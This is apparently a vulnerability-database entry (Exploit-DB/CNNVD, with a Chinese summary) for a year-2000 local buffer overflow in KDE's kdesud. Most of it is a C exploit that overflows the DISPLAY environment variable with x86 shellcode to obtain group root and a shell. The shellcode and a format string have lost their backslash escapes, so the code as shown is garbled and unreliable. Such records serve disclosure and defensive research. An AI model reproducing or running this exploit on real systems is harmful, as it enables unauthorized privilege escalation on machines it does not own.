https://www.exploit-db.com/exploits/19970
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200005-097

Linux中KDEkdesud存在缓冲区溢出漏洞。本地用户借助超长DISPLAY环境变量可以提升特权。

source: http://www.securityfocus.com/bid/1274/info

/usr/bin/kdesud has a DISPLAY environment variable overflow which could allow for the execution of arbitrary code. 

/*  KDE: /usr/bin/kdesud exploit by noir
 *  x86/Linux
 *  [email protected] | [email protected]
 *  DISPLAY env overflow 
 *  this script will get you gid = 0 !!  
 *  tested on Mandrake 7.0 (Air), for other distros play with argv1 for eip  
 *  greetz: dustdevil, Cronos, moog, still, #olympos irc.sourtimes.org 
 *      
 */

#include <stdio.h>
#include <string.h>

#define NOP             0x90
#define ALIGN   2
#define RET     0xbffff664  // Mandrake 7.0 (x86) 
                            
int 
main(int argc, char *argv[])
{
        unsigned char shell[] =
        "x31xc0x89xc3x89xc1xb0x47xcdx80" /* setregid(0, 0) */
    "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
    "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
    "x80xe8xdcxffxffxff/bin/sh"; 

        char buf[400];
        int i, a;
        long ret = RET;

     if(argv[1])
        ret = ret - atoi(argv[1]);               
  
        memset(buf, NOP, 400);
    
        for(i = ALIGN  ; i < 160 + ALIGN; i+=4)
                *(long *) &buf[i] = ret;
    
        for( i = 300, a = 0; a < strlen(shell) ; i++, a++ )
        buf[i] = shell[a];
        
        buf[399] = 0x00;
        printf("eip: 0x%xn", ret);

        setenv("DISPLAY", buf, 1);
        execl("/usr/bin/kdesud", "kdesud",  0);

}

来源:BUGTRAQ
名称:20000526KDE:/usr/bin/kdesud,gid=0exploit
链接:http://archives.neohapsis.com/archives/bugtraq/2000-05/0353.html
来源:BID
名称:1274
链接:http://www.securityfocus.com/bid/1274